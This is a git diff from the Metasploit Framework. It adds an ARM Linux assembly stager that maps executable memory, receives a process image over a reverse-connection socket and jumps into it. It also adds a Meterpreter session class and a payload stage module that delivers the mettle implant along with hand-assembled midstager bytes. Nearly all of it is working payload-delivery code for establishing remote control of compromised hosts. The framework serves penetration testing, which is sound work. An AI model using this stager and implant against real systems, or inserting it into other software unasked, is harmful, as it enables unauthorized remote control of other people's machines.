diff --git a/external/source/shellcode/linux/armle/stage_mettle.s b/external/source/shellcode/linux/armle/stage_mettle.s new file mode 100644 index 0000000000..eb01c30fdc --- /dev/null +++ b/external/source/shellcode/linux/armle/stage_mettle.s @@ -0,0 +1,51 @@ +.global _start + +@ Required symbols: +@ SIZE: size of the final payload +@ ENTRY: entry point offset from the start of the process image + +.text +_start: + @ mmap the space for the mettle image + mov r0, #0 @ address doesn't matter + ldr r1, =SIZE @ more than 12-bits + mov r2, #7 @ PROT_READ | PROT_WRITE | PROT_EXECUTE + mov r3, #34 @ MAP_PRIVATE | MAP_ANONYMOUS + mov r4, #0 @ no file + mov r5, #0 @ no offset + + mov r7, #192 @ syscall: mmap2 + svc #0 + + @ recv the process image + @ r12 contains our socket from the reverse stager + mov r2, r1 @ recv the whole thing (I, too, like to live dangerously) + mov r1, r0 @ move the mmap to the recv buffer + mov r0, r12 @ set the fd + mov r3, #0x100 @ MSG_WAITALL + + ldr r7, =#291 @ syscall: recv + svc #0 + + @ set up the initial stack + @ The final stack must be aligned, so we align and then make room backwards + @ by _adding_ to sp. + and sp, #-16 @ Align + add sp, #36 + 4 @ Add room for initial stack and prog name + mov r4, #109 @ "m" (0,0,0,109) + push {r4} @ On the stack + mov r4,#2 @ ARGC + mov r5,sp @ ARGV[0] char *prog_name + mov r6,r12 @ ARGV[1] int socket fd + mov r7,#0 @ (NULL) + mov r8,#0 @ (NULL) (Ending ENV) + mov r9,#7 @ AT_BASE + mov r10,r1 @ mmap'd address + mov r11,#0 @ AT_NULL + mov r12,#0 + push {r4-r12} + + @ hack the planet + ldr r0, =ENTRY + add r0, r1 + bx r0 diff --git a/lib/msf/base/sessions/meterpreter_armle_linux.rb b/lib/msf/base/sessions/meterpreter_armle_linux.rb new file mode 100644 index 0000000000..7ec7dd105e --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_armle_linux.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_armle_Linux < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.platform = 'armle/linux' + self.binary_suffix = 'lso' + end +end + +end +end + diff --git a/modules/payloads/stages/linux/armle/mettle.rb b/modules/payloads/stages/linux/armle/mettle.rb new file mode 100644 index 0000000000..83e348bbbf --- /dev/null +++ b/modules/payloads/stages/linux/armle/mettle.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/base/sessions/meterpreter_armle_linux' +require 'rex/elfparsey' + +module MetasploitModule + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Meterpreter', + 'Description' => 'Inject the mettle server payload (staged)', + 'Author' => [ + 'Adam Cammack 'linux', + 'Arch' => ARCH_ARMLE, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_armle_Linux)) + end + + def elf_ep(payload) + elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload)) + ep = elf.elf_header.e_entry + return ep + end + + def handle_intermediate_stage(conn, payload) + entry_offset = elf_ep(payload) + + # Generated from external/source/shellcode/linux/armle/stage_mettle.s + midstager = [ + 0xe3a00000, # mov r0, #0 + 0xe59f1070, # ldr r1, [pc, #112] ; 0x100d0 + 0xe3a02007, # mov r2, #7 + 0xe3a03022, # mov r3, #34 ; 0x22 + 0xe3a04000, # mov r4, #0 + 0xe3a05000, # mov r5, #0 + 0xe3a070c0, # mov r7, #192 ; 0xc0 + 0xef000000, # svc 0x00000000 + 0xe1a02001, # mov r2, r1 + 0xe1a01000, # mov r1, r0 + 0xe1a0000c, # mov r0, ip + 0xe3a03c01, # mov r3, #256 ; 0x100 + 0xe59f7048, # ldr r7, [pc, #72] ; 0x100d4 + 0xef000000, # svc 0x00000000 + 0xe3cdd00f, # bic sp, sp, #15 + 0xe28dd028, # add sp, sp, #40 ; 0x28 + 0xe3a0406d, # mov r4, #109 ; 0x6d + 0xe52d4004, # push {r4} ; (str r4, [sp, #-4]!) + 0xe3a04002, # mov r4, #2 + 0xe1a0500d, # mov r5, sp + 0xe1a0600c, # mov r6, ip + 0xe3a07000, # mov r7, #0 + 0xe3a08000, # mov r8, #0 + 0xe3a09007, # mov r9, #7 + 0xe1a0a001, # mov sl, r1 + 0xe3a0b000, # mov fp, #0 + 0xe3a0c000, # mov ip, #0 + 0xe92d1ff0, # push {r4, r5, r6, r7, r8, r9, sl, fp, ip} + 0xe59f000c, # ldr r0, [pc, #12] ; 0x100d8 + 0xe0800001, # add r0, r0, r1 + 0xe12fff10, # bx r0 + payload.length, + 0x00000123, # .word + entry_offset + ].pack('V*') + + print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)") + + conn.put [midstager.length].pack('V') + conn.put midstager + + true + end + + def generate_stage(opts={}) + MetasploitPayloads::Mettle.read('arm-linux-musleabi', 'mettle.bin') + end +end